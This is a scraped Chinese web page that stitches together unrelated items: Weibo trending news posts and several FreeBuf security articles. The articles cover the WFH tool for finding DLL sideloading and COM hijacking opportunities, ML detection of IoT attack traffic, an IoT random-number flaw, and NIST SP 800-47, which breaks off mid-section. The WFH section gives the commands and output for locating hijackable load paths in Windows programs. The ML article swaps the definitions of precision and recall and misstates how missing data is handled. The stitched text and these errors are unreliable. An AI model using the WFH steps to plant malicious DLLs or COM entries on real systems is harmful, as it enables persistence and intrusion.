大学没谈过恋爱会有遗憾吗

可能很多人都向往青春偶像剧中甜甜的校园恋爱,但事实是残酷的,有多少人能走到最后,步入婚姻的殿堂,很多人不是为了抵消孤独感,就是碍于身边人的面子,因为在大学我见过身边太多“闹着玩”的恋爱了,要知道恋爱不可能都是美好的回忆,也可能是永久的伤痛,想恋爱要提前做好这个心理准备。很多人为了恋爱开始旷课挂科修不够学分,这才是真正的遗憾,在大学提升自己才是最重要的,毕竟这是直接和自己未来挂钩的,如果恋爱学习两不耽误那自然是好,但如果因为学习紧张耽误了恋爱我觉得不应遗憾。#大学没谈过恋爱会有遗憾吗大学没谈过恋爱会有遗憾吗?

不遗憾。

“你都大学毕业了,还没谈过恋爱?”
很多人都听过这句话,怀着不同的心情。说者或无心,或是故意讽刺,在你听起来也许如流水也许刺你耳。

有时你会懊悔?还是会难为情?还是对过去的迷茫?

收起这些多余的感情吧!我们生活在这个社会里,很容易就变成别人眼中的自己。

小时候,大人说过我们还小,不能谈恋爱,循规蹈,唯唯诺诺。长大了,大学生了,身边这个同学那个朋友都挽着自己所谓终身伴侣在你身旁走过的时候,你开始质疑自己,也许我不谈恋爱就是错误吗?

何谓大学生?

知世故而不世故。饱读诗书,走最远的路,爱最对的人。不随波逐流,不为了爱而去爱,用心去感受,用力去生活。

也许有人和我一样,觉得在18岁的青春年华里,这辈子就遇不到自己喜欢的人了,可我还这么年轻,却失去了喜欢一个人的能力。

但无需心急。也许是明天,也许是很多年,在你的生活里,总会闯进一个人,一个让你怦然心动的人,那一刻,你心中那只无处躲藏四处乱撞的小鹿会告诉你,这就是你一直在等的人。

曾经一个人走过的路,一个人看过的风景,将来终会有一个人陪你回去看看,去听你说那曾经你那无可诉说的故事。

终于知道丹顶鹤为什么叫仙鹤了

鹤鸣于九皋,声闻于野。鱼潜在渊,或在于渚。乐彼之园,爰有树檀,其下维萚。他山之石,可以为错。
鹤鸣于九皋,声闻于天。鱼在于渚,或潜在渊。乐彼之园,爰有树檀,其下维榖。他山之石,可以攻玉。
——《诗经·小雅·鹤鸣》

图 | #终于知道丹顶鹤为什么叫仙鹤了#
摄 | 赵荣生 ​

央视曝光钱大妈加盟商亏损内幕

【“赔本赚吆喝”?#央视曝光钱大妈加盟商亏损内幕#,有#钱大妈加盟商一年亏40万元#】近年来,生鲜类的超市逐渐进入了社区,一些便民生鲜超市会不定时做一些优惠活动,其中生鲜超市“钱大妈”经常定时打5折,每天19点以后继续打折,从九折到一折,甚至还有“免费送全场”的促销方式。低廉的售价让“钱大妈”赚足了人气。记者了解到,从2019年4月起,“钱大妈”在上海的门店已超过350家,大约两天新增一家门店,绝大多数是加盟店。央视财经记者注意到,“钱大妈”快速开店的同时,加盟商也在大批关店。据记者了解,“钱大妈”“激进”的打折方式,直接导致了一些加盟店的亏损,有消费者养成了特意等到打折时间来光顾的习惯,导致门店菜卖得越多,亏损就越大。一位加盟商告诉记者,作为经营者,进多少货、卖什么价并不由他控制,从经营的第一天开始,“钱大妈”品牌方就规定了每天进货的最低限量,甚至对销售价格进行了严格限制,只允许售价下调,一旦加盟商不遵守价格管理,就会被罚款甚至停货。另有加盟商告诉记者,“刚开始三个月,保本经营”“经营一年左右,亏损达到30-40万元,已经关店了,在走闭店流程,光给钱大妈公司就是34万元”。

共和国最高礼遇接志愿军烈士回家

【泪目!#看到志愿军烈士棺椁被覆盖上国旗的那刻#】9月2日,第八批在韩中国人民志愿军烈士遗骸回国。仪式现场,中国驻韩国大使邢海明为志愿军烈士遗骸棺椁覆盖国旗。青山忠骨,英雄归来,祖国接你们回家!曾经,他们抗美援朝保家卫国;如今,#共和国最高礼遇接志愿军烈士回家#!#中国礼兵手捧烈士棺椁走进运20专机# #8年825位在韩志愿军烈士遗骸回国#(人民日报) L羊城晚报的微博视频

老人将265万元毕生积蓄全部捐出

【#老人将265万元毕生积蓄全部捐出#[心]】浙江小门村老人徐既仁一生俭朴,衣服不破就一直穿,出门连5元钱的三轮车都舍不得坐。80岁生日当天,他却毅然捐出毕生积蓄265万元做公益,并拿出部分善款设助学基金,至今已奖励优秀学子85人次。即使生病,他也想着助学的事,“最有意义的就是帮孩子们读书”↓

可能这就是社交牛逼症吧

#可能这就是社交牛逼症吧#笑死,还有一件事,哈哈哈哈哈哈哈哈
我去逛街,然后逛到饰品
店长问我:你是来出差开会的吗
我:?我看起来这么成熟吗?
他:你的气质很像领导(惬意但担心我的年龄)
然后我就开始了,你的这里可以加一个镜子,扩大空间啊,耳环怎么怎么样,巴拉巴拉
然后我和我舍友都准备买耳环
我:不能打折吗🥺
店长:当然!别人不行,给你们九五折
哈哈哈哈哈然后又说啥了太久了我忘了
最后店长让我们加店铺v,哈哈哈哈
那天正好我生日,还给我发了18块钱

本专科生每年最高助学贷款12000元

【国常会:今年秋季学期起#本专科生每年最高助学贷款12000元#】#助学贷款对学生影响有多大# 国务院总理李克强9月1日主持召开国务院常务会议,会议决定进一步完善国家助学贷款政策,自今年秋季学期起本专科每生每年最高贷款额度提至12000元,研究生由12000元提高至16000元,财政对学生在校期间的贷款利息实行全额补贴。财政继续对助学贷款承办银行给予一定比例风险补偿并合理调低补偿比例。(中国政府网,泽塔)

一年级男孩不愿上学被女警抱进教室

【#一年级男孩不愿上学被女警抱进教室#】开学第一天,重庆渝北实验小学一名一年级男生不愿意去上学,在路边和父亲哭闹,父亲拿他没办法。一名女民警巡逻发现后,制止了小朋友的行为,并耐心给他做思想工作,最后将他抱着带进教室。经过开导,这名小男生最终接受了开学的现实,将书包餐具放好,校服换好,表示要认真地上课。(渝北公安两路派出所)

请再看看你们誓死保卫的家乡

【直播!今天,一起接#109名在韩志愿军烈士回家#】71年前,一群年轻的战士跨过鸭绿江浴血奋战、保家卫国。离家尚是少年之身,归来已是报国之躯,他们阔别故土太久。今天,#第八批在韩志愿军烈士遗骸归国#。#英雄回家#,共同见证!(总台记者田忠卿 裴奔 温露 齐莉莉 雍军 季熠非等)

109名在韩志愿军烈士回家

【直播!今天,一起接#109名在韩志愿军烈士回家#】71年前,一群年轻的战士跨过鸭绿江浴血奋战、保家卫国。离家尚是少年之身,归来已是报国之躯,他们阔别故土太久。今天,#第八批在韩志愿军烈士遗骸归国#。#英雄回家#,共同见证!(总台记者田忠卿 裴奔 温露 齐莉莉 雍军 季熠非等)

广电总局要求不得播出偶像养成节目

【#广电总局坚决抵制违法失德艺人及高片酬# #广电总局要求不得播出偶像养成节目#】今天,国家广播电视总局发布从严整治艺人违法失德、“饭圈”乱象等问题的通知:①坚决抵制违法失德人员,政治立场不正确、与党和国家离心离德的人员坚决不用;违反法律法规、冲击社会公平正义底线的人员坚决不用;违背公序良俗、言行失德失范的人员坚决不用。②坚决反对唯流量论,广播电视机构和网络视听平台不得播出偶像养成类节目,不得播出明星子女参加的综艺娱乐及真人秀节目。选秀类节目要严格控制投票环节设置,不得设置场外投票、打榜、助力等环节和通道,严禁引导、鼓励粉丝以购物、充会员等物质化手段变相花钱投票,坚决抵制不良“饭圈”文化。③坚决抵制高价片酬,严肃惩戒片酬违规、“阴阳合同”、偷逃税行为。

如何使用WFH搜索Windows可执行程序中的常见漏洞或功能

关于WFH
WFH,全名为Windows Feature Hunter,即Windows功能搜索工具,该工具基于Python开发,使用Frida实现其功能,可以帮助广大研究人员搜索和识别Windows可执行程序中的常见安全漏洞以及功能。当前版本的WFH能够自动识别动态链接库DLL中潜在的侧加载问题以及组件对象模型COM中劫持攻击的实现可能。

DLL侧加载利用勒Windows中WinSXS程序集来从SXS列表中加载恶意DLL文件。COM劫持将允许攻击者置入恶意代码,而这些代码将能够通过劫持COM引用和关系代替合法软件的执行。

WFH可以输出潜在的安全漏洞,并将目标Windows可执行文件中的潜在漏洞相关信息写入至CSV文件中。

工具安装
首先, 广大研究人员需要使用下列命令将该项目源码克隆至本地:

git clone https://github.com/ConsciousHacker/WFH
然后运行下列命令安装和配置相关依赖组件:

pip install -r requirements.txt
工具帮助信息
PS C:\Tools\WFH > python .\wfh.py -h

usage: wfh.py [-h] -t T [T …] -m {dll,com} [-v] [-timeout TIMEOUT]

Windows Feature Hunter

optional arguments:

-h, –help show this help message and exit

-t T [T …], -targets T [T …]

list of target windows executables

-m {dll,com}, -mode {dll,com}

vulnerabilities to potentially identify

-v, -verbose verbose output from Frida instrumentation

-timeout TIMEOUT timeout value for Frida instrumentation

EXAMPLE USAGE

NOTE: It is recommended to copy target binaries to the same directory as wfh for identifying DLL Sideloading

DLL Sideloading Identification (Single): python wfh.py -t .\mspaint.exe -m dll

DLL Sideloading Identification (Verbose): python wfh.py -t .\mspaint.exe -m dll -v

DLL Sideloading Identification (Timeout 30s): python wfh.py -t .\mspaint.exe -m dll -timeout 30

DLL Sideloading Identification (Wildcard): python wfh.py -t * -m dll

DLL Sideloading Identification (List): python wfh.py -t .\mspaint.exe .\charmap.exe -m dll

COM Hijacking Identification (Single): python wfh.py -t “C:\Program Files\Internet Explorer\iexplore.exe” -m com

COM Hijacking Identification (Verbose): python wfh.py -t “C:\Program Files\Internet Explorer\iexplore.exe” -m com -v

COM Hijacking Identification (Timeout 60s): python wfh.py -t “C:\Program Files\Internet Explorer\iexplore.exe” -m com -timeout 60

COM Hijacking Identification (Wildcard): python wfh.py -t * -m com -v

COM Hijacking Identification (List): python wfh.py -t “C:\Program Files\Internet Explorer\iexplore.exe” “C:\Windows\System32\notepad.exe” -m com -v
工具使用
DLL侧加载识别
首先,我们需要将需要分析的代码拷贝至WFH工具所在的目录下,然后按照下列命令执行扫描分析:

PS C:\Tools\WFH > copy C:\Windows\System32\mspaint.exe .

PS C:\Tools\WFH > copy C:\Windows\System32\charmap.exe .

PS C:\Tools\WFH > dir

Directory: C:\Tools\WFH

Mode LastWriteTime Length Name

—- ————- —— —-

d—– 5/14/2021 2:12 PM .vscode

-a—- 5/6/2021 2:39 PM 1928 .gitignore

-a—- 12/7/2019 2:09 AM 198656 charmap.exe

-a—- 5/18/2021 7:39 AM 6603 loadlibrary.js

-a—- 4/7/2021 12:48 PM 988160 mspaint.exe

-a—- 5/18/2021 7:53 AM 8705 README.md

-a—- 5/17/2021 11:27 AM 5948 registry.js

-a—- 5/6/2021 2:41 PM 11 requirements.txt

-a—- 5/18/2021 8:35 AM 10623 wfh.py
接下来,我们就可以使用WFH来对目标代码进行分析,并尝试识别其中的DLL侧加载机会:

PS C:\Tools\WFH > python .\wfh.py -t * -m dll

==================================================

Running Frida against charmap.exe

————————————————–

[+] Potential DllMain Sideloading: LoadLibraryW,LPCWSTR: MSFTEDIT.DLL

[+] Potential DllMain Sideloading: LoadLibraryExW,LPCWSTR : MSFTEDIT.DLL, dwFlags : NONE

[*] Writing raw Frida instrumentation to charmap.exe-raw.log

[*] Writing Potential DLL Sideloading to charmap.exe-sideload.log

————————————————–

==================================================

Running Frida against mspaint.exe

————————————————–

[+] Potential DllMain Sideloading: LoadLibraryExW,LPCWSTR : gdiplus.dll, dwFlags : NONE

[-] Potential DllExport Sideloading: GetProcAddress,hModule : C:\WINDOWS\WinSxS\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.19041.789_none_faf0a7e97612e7bb\gdiplus.dll, LPCSTR: GdiplusStartup

[+] Potential DllMain Sideloading: LoadLibraryW,LPCWSTR: MSFTEDIT.DLL

[+] Potential DllMain Sideloading: LoadLibraryExW,LPCWSTR : MSFTEDIT.DLL, dwFlags : NONE

[*] Writing raw Frida instrumentation to mspaint.exe-raw.log

[*] Writing Potential DLL Sideloading to mspaint.exe-sideload.log

————————————————–

==================================================

[*] Writing dll results to dll_results.csv

PS C:\Tools\WFH > type .\dll_results.csv

Executable,WinAPI,DLL,EntryPoint / WinAPI Args

charmap.exe,LoadLibraryW,LPCWSTR: MSFTEDIT.DLL

charmap.exe,LoadLibraryExW,LPCWSTR : MSFTEDIT.DLL, dwFlags : NONE

mspaint.exe,LoadLibraryExW,LPCWSTR : gdiplus.dll, dwFlags : NONE

mspaint.exe,GetProcAddress,hModule : C:\WINDOWS\WinSxS\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.19041.789_none_faf0a7e97612e7bb\gdiplus.dll, LPCSTR: GdiplusStartup

mspaint.exe,LoadLibraryW,LPCWSTR: MSFTEDIT.DLL

mspaint.exe,LoadLibraryExW,LPCWSTR : MSFTEDIT.DLL, dwFlags : NONE
如果你想让WFH输出更多详细内容,可以使用“-v”参数开启Verbose模式。此时将能够查看Windows API调用的详细情况:

PS C:\Tools\WFH > python .\wfh.py -t * -m dll -v

==================================================

Running Frida against charmap.exe

{‘type’: ‘send’, ‘payload’: ‘LoadLibraryW,LPCWSTR: MSFTEDIT.DLL’}

{‘type’: ‘send’, ‘payload’: ‘LoadLibraryExW,LPCWSTR : MSFTEDIT.DLL, dwFlags : NONE’}

————————————————–

[+] Potential DllMain Sideloading: LoadLibraryW,LPCWSTR: MSFTEDIT.DLL

[+] Potential DllMain Sideloading: LoadLibraryExW,LPCWSTR : MSFTEDIT.DLL, dwFlags : NONE

[*] Writing raw Frida instrumentation to charmap.exe-raw.log

[*] Writing Potential DLL Sideloading to charmap.exe-sideload.log

————————————————–

==================================================

Running Frida against mspaint.exe

{‘type’: ‘send’, ‘payload’: ‘LoadLibraryExW,LPCWSTR : gdiplus.dll, dwFlags : NONE’}

{‘type’: ‘send’, ‘payload’: ‘GetProcAddress,hModule : C:\\WINDOWS\\WinSxS\\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.19041.789_none_faf0a7e97612e7bb\\gdiplus.dll, LPCSTR: GdiplusStartup’}

{‘type’: ‘send’, ‘payload’: ‘LoadLibraryW,LPCWSTR: MSFTEDIT.DLL’}

{‘type’: ‘send’, ‘payload’: ‘LoadLibraryExW,LPCWSTR : MSFTEDIT.DLL, dwFlags : NONE’}

————————————————–

[+] Potential DllMain Sideloading: LoadLibraryExW,LPCWSTR : gdiplus.dll, dwFlags : NONE

[-] Potential DllExport Sideloading: GetProcAddress,hModule : C:\WINDOWS\WinSxS\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.19041.789_none_faf0a7e97612e7bb\gdiplus.dll, LPCSTR: GdiplusStartup

[+] Potential DllMain Sideloading: LoadLibraryW,LPCWSTR: MSFTEDIT.DLL

[+] Potential DllMain Sideloading: LoadLibraryExW,LPCWSTR : MSFTEDIT.DLL, dwFlags : NONE

[*] Writing raw Frida instrumentation to mspaint.exe-raw.log

[*] Writing Potential DLL Sideloading to mspaint.exe-sideload.log

————————————————–

==================================================

[*] Writing dll results to dll_results.csv
COM劫持识别
PS C:\Tools\WFH > python .\wfh.py -t “C:\Program Files\Internet Explorer\iexplore.exe” -m com

==================================================

Running Frida against C:\Program Files\Internet Explorer\iexplore.exe

————————————————–

[+] Potential COM Hijack: Path : HKEY_LOCAL_MACHINE\Software\Classes\CLSID\{0E5AAE11-A475-4C5B-AB00-C66DE400274E}\InProcServer*32,lpValueName : null,Type : REG_EXPAND_SZ, Value : %SystemRoot%\system32\Windows.Storage.dll

[+] Potential COM Hijack: Path : HKEY_CLASSES_ROOT\CLSID\{1FD49718-1D00-4B19-AF5F-070AF6D5D54C}\InProcServer*32,lpValueName : null,Type : REG_SZ, Value : C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.62\BHO\ie_to_edge_bho_64.dll

[*] Writing raw Frida instrumentation to .\iexplore.exe-raw.log

[*] Writing Potential COM Hijack to .\iexplore.exe-comhijack.log

————————————————–

==================================================

[*] Writing dll results to comhijack_results.csv
工具使用样例
原生Windows签名代码
将所有的原生Windows签名代码拷贝至WFH脚本所在目录:

Get-ChildItem c:\ -File | ForEach-Object { if($_ -match ‘.+?exe$’) {Get-AuthenticodeSignature $_.fullname} } | where {$_.IsOSBinary} | ForEach-Object {Copy-Item $_.path . }
搜索DLL侧加载机会
python wfh.py -t * -m dll
搜索COM劫持机会
python wfh.py -t * -m com
项目地址
WFH:【GitHub传送门】

本文作者:Alpha_h4ck, 转载请注明来自FreeBuf.COM

利用AI检测IoT恶意流量

前言
目前大量物联网设备及云服务端直接暴露于互联网,这些设备和云服务端存在的漏洞(如:心脏滴血、破壳等漏洞)一旦被利用,可导致设备被控、用户隐私泄露、云服务端数据被窃取等安全风险,甚至会对基础通信网络造成严重影响。为了促进物联网领域的安全研究,研究人员制作了UNSW-NB15数据集,这是一个基于物联网的网络流量数据集,对正常活动和恶意攻击行为进行了不同的分类。本文将基于该数据集,应用AI领域的典型技术,包括决策树、随机森林、逻辑回归、多层感知器等进行检测,希望师傅们可以从中了解AI技术应用于安全领域的典型流程,包括数据预处理、数据转换、交叉验证等,同时提升对物联网安全的新的认识。

数据集
本次用到的数据集是UNSW-NB15,这是一个基于物联网的网络流量数据集,由新南威尔士大学堪培拉网络靶场实验室的 IXIA PerfectStorm工具创建,用于生成真实现代正常活动和合成当代攻击行为的混合数据集。 它们使用tcpdump 工具捕获 100 GB 的原始流量(例如 Pcap 文件)。

image.png

该数据集有九种类型的攻击,即 Fuzzers、Analysis、Backdoors、DoS、Exploits、Generic、Reconnaissance、Shellcode 和 Worms,当然为了方便大家使用,已经做了整理,把特征、标签都统计到了csv文件里。

如果希望详细了解该数据集的信息的话,可以参考[2][3][4]论文

该数据集中的一部分被做为训练集和测试集,即 UNSW_NB15_training-set.csv 和 UNSW_NB15_testing-set.csv。训练集中的记录数为 175,341 条记录,测试集中的记录数为 82,332 条记录,分别来自不同攻击类型、恶意和正常数据。

数据预处理
导入所需库文件

image.png

数据集中的数据包括9种攻击类型,分别是Fuzzers, Analysis, Backdoors, DoS, Exploits, Generic, Reconnaissance, Shellcode和Worms。在csv文件最后的一列是标签,0代表郑,1代表攻击

加载训练数据UNSW_NB15_training.csv,检查前5行

image.png

可以看到前5行的记录都是正常的

image.png

加载数据后我们首先检测是否存在缺失值

image.png

面对存在缺失值的情况,最简单的方法就是直接启用包含缺失值的整行和整列

image.png

然后看看数据是否平衡,一方面是看9种攻击类型是否平滑(y1指代这方面的标签),一方面是看正常和恶意的数据量是否平衡(y2指代这方面的标签)

image.png

结果如下

image.png

可以看到数据集并不平滑,不过并不严重,我们继续往下分析

本来是需要手动拆分训练集和测试集的,不过UNSW_NB15已经拆分好了,比率为7:3

训练集和测试集分别在UNSW_NB15_training-set.csv 和 UNSW_NB15_testing-set.csv

如果需要手动拆分的话,使用下面的代码就可以了

image.png

我们加载测试集供后续使用

image.png

数据转换
接下来需要转换数据

首先需要确定哪些列是分类数据(categorical),哪些列是数值数据(numerical)(分类数据也叫qualitative data或是Yes/No data,是定性的,而数值数据是定量的)image.png

分别将其打印image.png

对于分类数据应用OneHotEncoder,将其编码为独热数值数组

对于数值数据应用StandardScaler,通过去除均值和缩放到单位方差来标准化

构造ColumnTransformer对象,在X_train上进行fit即可

image.png

每个transformer分别转换x,将结果拼接起来image.png

对测试集也进行同样的处理image.png

转换后的数据不再是dataframe结构,而是类似于数组的结构image.png

我们同样还需要转换y1,y1中一共有9类image.png

我们直接用LabelEncoder就可以了,其用于规范化标签,使处理对象仅包含0和类别数-1 之间的值image.png

截止目前,数据部分已经处理完成了,接下来就是训练模型了

交叉验证
我们训练模型后,会使用5折交叉验证(cross validation,CV)进行验证,评估模型的指标包括准确率、准确率、召回率、F1 分数、ROC 的 AUC 值;然后使用测试集评估模型看看效果如何

我们以逻辑回归分类器为例image.png

查看交叉验证结果image.png

因为是5折交叉验证,所以每个指标都有5组数据,基本上我们会使用平均值来衡量校验验证的评估结果

比如打印出平均的准确率image.png

模型测试
在测试集上进行测试image.png

结果如下image.png

precision是精确率,也称作查全率,等于tp/(tp+fp);这是针对我们预测结果而言的,它表示的是预测为正的样本中有多少是真正的正样本

recall是查准率,也称召回率,等于tp/(tp+fn);这是针对我们原来的样本而言的,它表示的是样本中的正例有多少被预测正确了

从计算公式可以看出,其实就是分母不同,一个分母是预测为正的样本数,另一个是原来样本中所有的正样本数

如果看单个指标都过于片面,可以通过f1分数来评估模型性能,f1是recall和precision的加权平均,在上面可以看到在0.64左右

其他机器学习方法
在sklearn已经实现了很多机器学习模型,我们只需要一条代码就可以换模型,除了逻辑回归之外,还可以试试决策树和随机森林image.png

打印出模型的超参数image.png

然后重复之前的步骤,来看看结果如何image.png

可以看到,随机森林的效果是相对而言比较好的

多层感知器
以上三个分类器都属于传统的机器学习方法,那么接着我们试试MLP,这是一种前向结构的神经网络。image.png

结果如下image.png

把这四种分类器放在一起看看哪种效果更好image.png

可以看到随机森林的效果还是最好的。这也给我们一个提示,虽然现在深度学习、神经网络

是AI的最火热的技术,但是这并不意味着在所有任务上都是万能的,它们更大的优势是在处理海量数据、复杂任务上,对于一些基础的任务,可能传统的机器学习方法会有更好的效果。

相关实验:机器学习之RF

参考
1.https://www.unsw.adfa.edu.au/unsw-canberra-cyber/cybersecurity/ADFA-NB15-Datasets/

2.UNSW-NB15: a comprehensive data set for network intrusion detection systems (UNSW-NB15 network data set).

3.The evaluation of Network Anomaly Detection Systems: Statistical analysis of the UNSW-NB15 dataset and the comparison with the KDD99 dataset

4.Novel geometric area analysis technique for anomaly detection using trapezoidal area estimation on large-scale networks

5.http://www.caict.ac.cn/kxyj/qwfb/bps/201809/P020180919390470911802.pdf

6.《机器学习》

本文作者:蚁景科技, 转载请注明来自FreeBuf.COM

严重的随机数生成器漏洞披露,数十亿IoT设备受影响

研究人员披露了数十亿物联网(IoT)设备中使用的随机数生成器严重漏洞,这意味着大量用户面临潜在攻击风险。

网络安全组织Bishop Fox的研究人员Dan Petro和Allan Cecil在上周发表的一项分析中表示:

“事实证明,在物联网设备中,这些’随机’选择的数字并不总是像你希望的那样随机,在许多情况下,设备会随机选择0或更弱的加密密钥,这可能导致任何上游服务器出现崩溃,从而面临安全问题。”

随机数生成(RNG)是一个支撑加密应用的关键过程,其中包括密钥生成、随机数和加盐。在传统的操作系统中,RNG是由加密安全伪随机数生成器 (CSPRNG)分化而来,后者使用了高质量种子源中的熵。

在物联网设备中,系统级芯片(SoC)装有一个专门的硬件RNG外设,称为真随机数生成器(TRNG),用于从物理过程或现象中捕获“随机性”。

研究人员指出,当前调用外部设备的方式是不正确的,他们注意到因缺乏对错误代码响应的全面检查,导致产生的随机数不是简单的随机,更糟糕的是可预测的情况,包含部分熵、未初始化的内存,甚至包含纯零的密码密钥泄露。

“RNG外围设备的HAL功能可能因各种原因而失效,但到目前为止最常见的或者说最可利用的设备已经耗尽了熵。硬件RNG外设通过各种方式(如模拟传感器或电磁场读数)从宇宙中提取熵,但并不能够无限供应。”

RNG每秒钟只能产生这么多的随机位。如果在RNG HAL函数没有任何随机数可以给你的时候调用它,它就会失败并返回一个错误代码。因此,如果设备试图过快的获得太多的随机数,调用将失败。

这个是物联网领域的独有的问题。因为物联网设备通常缺乏带有随机性API的操作系统(例如,类似Unix的操作系统中的”/dev/random “或Windows中的BCryptGenRandom),研究人员认为与CSPRNG子系统相关的熵池有更大的好处,从而消除了 “熵源中的任何单点故障”。

虽然这些问题可以通过软件更新来补救,但理想的解决方案是物联网设备制造商和开发人员从一组不同的熵源中生成CSPRNG API,并确保代码不会忽略错误条件,或在没有更多的熵可用时能阻止对RNG的调用。

研究人员强调:“这不是一个简单的漏洞。为了防范这种风险,物联网操作系统中确实需要一个类似CSPRNG的复杂功能设计。”

参考来源
A CriticalRandomNumber Generator Flaw Affects Billions of IoT Devices

数据交换共享安全管理方案 —— NIST SP 800-47干货

一、背景
数据安全是今年的一大热点,稍微了解数据安全的人估计都知道,做数据安全要考虑数据全生命周期,包括数据采集/生成、传输、存储、处理、交换/共享、销毁等阶段的安全。而其中与业务关系最密切的是交换/共享环节,这个环节也是数据发挥价值的关键一环,很多企业由于业务需求,通常需要与一个或多个内部或外部的组织交换/共享数据,当数据从一个组织转移到另一个组织时,交换/共享的数据也需要相同或相似级别的安全保护,如何落实数据交换/共享环节的安全管理,NIST SP 800-47《信息交换安全管理》给出了系统性解决方案。

本文梳理了NIST SP 800-47原文,结合作者对数据安全的理解,将主要内容简明的给大家做个介绍,本文的文档结构未按照原文的文档结构。【注:由于国内对“信息安全”、“数据安全”等术语的定义有不同理解和界定,而SP 800-47里的“information exchange信息交换”实际上主要包含的就是“数据交换”,所以为了便于阅读和理解,后文我将统一用“数据交换”。】

本文的适用对象:需要打破数据孤岛,实现跨组织边界的数据共享与交换,以支持业务目标的组织,以及对本内容感兴趣的朋友。

二、前言
出于各种原因,组织会选择数据交换/共享,例如,内部对内部的数据交换/共享、政府对政府的数据交换/共享、企业对企业的数据交换/共享、政府对企业、政府或企业对服务提供商、政府或企业对个人等的数据共享。当数据从一个系统跨授权边界访问或传递到另一个系统时,需要使用一个或多个协议来指定每个组织的责任、要访问或交换的数据类型和影响级别、如何使用交换数据,以及在交换系统的两端处理、 存储或传输数据时如何保障数据安全。

常见的数据交换/共享场景包括但不限于:

★ 在授权用户之间共享数据和信息;

★ 提供对数据的自定义访问;

★ 合作进行联合项目;

★ 提供完整的、短暂的、间歇性的、永久的或临时的数据交换/共享活动;

★ 通过交换/共享减少数据收集工作量和成本;

★ 提供在线培训;

★ 为关键数据和备份文件提供安全存储。

数据交换/共享活动在为组织带来如:降低运营成本、增强业务能力、提高效率、集中访问数据以减少重复数据集、促进组织间的沟通与合作,加强参与组织之间的联系等益处的同时也会使参与组织面临安全风险,如果数据交换/共享活动没有得到适当的规划与管理,则可能导致数据的机密性、完整性和可用性丢失,危及数据本身及相关的网络和信息系统。类似地,如果其中一方的系统遭到破坏,则交换的数据同样可能会受到损害,且与系统相连的另一个系统和数据也可能遭到连带破坏。因此,参与组织就交换数据的管理和使用,以及建立并正式发布一项或多项互操作协议来确保数据安全很有必要。

三、数据交换/共享方式方法
3.1 数据交换/共享方式
数据交换的条件至少需要具备三个基本组件:两个端点和一个数据流动信道,数据流动信道可以是专用或租用线路,也可以使用虚拟专用网络 (VPN) 解决方案(例如:IPsec、SSLVPN、L2TP),使用专用电路会更昂贵,但更安全,使用VPN则是较便宜的替代方法,也是常用的通信方案。下图是建立数据交换的两种通信方式:

1628340749_610e820dbe25b5c545563.png!small?1628340750343

数据交换的两个端点/系统之间互连可以在网络级或应用级实现

网络互连:两个或多个网络之间的物理或虚拟通信链接,这些网络由不同的组织运行,或在同一个组织内,但在不同的授权边界内运行。

应用互连:由不同组织或同一组织内,但在不同授权边界内运行的两个或多个应用程序之间的逻辑通信链接,用于交换数据或提供信息服务(例如:身份验证、日志记录)。应用互连包括文件共享服务或应用以及发生在会话层、 表示层或应用层的数据交换源。

3.2 数据交换/共享方法
数据交换的常见方法包括但不限于:电子或数字文件传输、通过便携式存储设备的数据交换、通过电子邮件的数据交换、数据库共享或数据库事务信息交换,以及基于网络或云的服务。

电子或数字文件传输——数据可以通过电子或数字文件传输进行交换,通过文件 传输(通信)协议在两个系统之间传输文件(数据)。各组织需要考虑与使用不同文件传输协议带来的安全风险;文件传输协议包括FTPS、HTTPS和SCP。

便携式存储设备——在某些情况下,可能需要使用便携式存储设备交换数据, 例如可移动磁盘(数字视频光盘 (DVD))或通用串行总线 (USB)等)。组织需要考虑被传输数据的影响级别以及数据将要传输到的系统的影响级别,以确定所交换的数据是否采取了足够的措施。

电子邮件——组织经常通过电子邮件以附件的形式共享数据。组织需要考虑参与组织的电子邮件基础设施的影响级别和已经实施的安全控制,以确定是否实施了足够的控制措施来保护正在交换的数据,例如,在中等影响级别受保护的电子邮件基础设施不足以保护高影响级别的数据。

数据库共享或数据库事务信息交换,包括来自另一个组织的用户对数据的访问。 组织需要考虑的是提供数据访问而不是传输数据的可行性,以减少重复数据集以及数据机密性和完整性损失的风险。

文件共享服务——文件共享服务包括但不限于通过基于 Web 的文件共享或存 储共享数据和访问数据(例如 Drop Box、Google Drive、MS Teams 或 MS One Drive)。使用基于Web的文件共享或存储系统,该系统无法让数据所有者了解服务器所在位置,或对设施、服务器和数据的物理和逻辑访问。

3.3 数据访问或传输
1)当通过系统访问交换数据时,数据本身不会被传输,而是由参与组织的用户访问。通过系统访问交换数据减少了重复数据集的情况以及数据机密性和完整性丢失的风险。与任何形式的系统访问一样,用户可以访问数据资源的程度取决于组织业务以及数据的机密性、完整性和可用性遭到破坏的影响程度。因此,组织可以通过访问控制,从而将用户限制在单个应用、文件或文件位置,并采用特定的策略来管理访问(例如,访问仅限于只读)。其他组织可能会建立更灵活的交换,使用户能够访问多个应用程序、文件或数据库。

2)当通过传输交换数据时,数据会在其他物理位置被复制。数据传输可能会导致数据集重复、数据过时或数据未经授权披露或修改的风险增加。然而,传输的数据可能被要求支持在不同的业务流程、不同的软件中使用同一组数据,或者当通过系统无法访问交换数据时。建议组织将交换的数据限制为仅支持所述业务所需的特定数据,而不是传输整个数据集。参与组织需要考虑丢失所传输数据的机密性和完整性可能造成的影响,以及保护与预期影响级别相称的数据的必要性,无论其物理位置如何。

四、数据交换/共享安全管理
基于风险的数据交换/共享安全管理需要组织层面的治理,以及与风险相称的防护水平来保护正在交换的数据。在任何实际的数据交换之前,组织应制定、记录并传播管理数据交换的策略和流程。本部分主要描述了数据交换/共享安全管理的四个阶段(规划、建立、维护、终止)。各阶段如下图:

1628340790_610e82366514730f246d4.png!small?1628340790943

4.1 规划数据交换/共享
在两个或多个系统之间交换/共享数据的过程始于规划阶段,在该阶段,参与组织完成准备活 动并检查相关的技术、安全和管理问题。规划阶段的目的是确保数据交换/共享过程尽可能高效和安全。本小节讨论规划数据交换/共享的推荐步骤。规划阶段步骤的形式、结构和严格程度取决于交换/共享的类型、要交换/共享的数据的重要程度、参与交换/共享的组织间关系以及数据交换/共享的组织策略和流程。本阶段应完成的内容如下:

1628340817_610e82519da3ea245b778.png!small?1628340818101

4.1.1 步骤一:组建联合规划小组

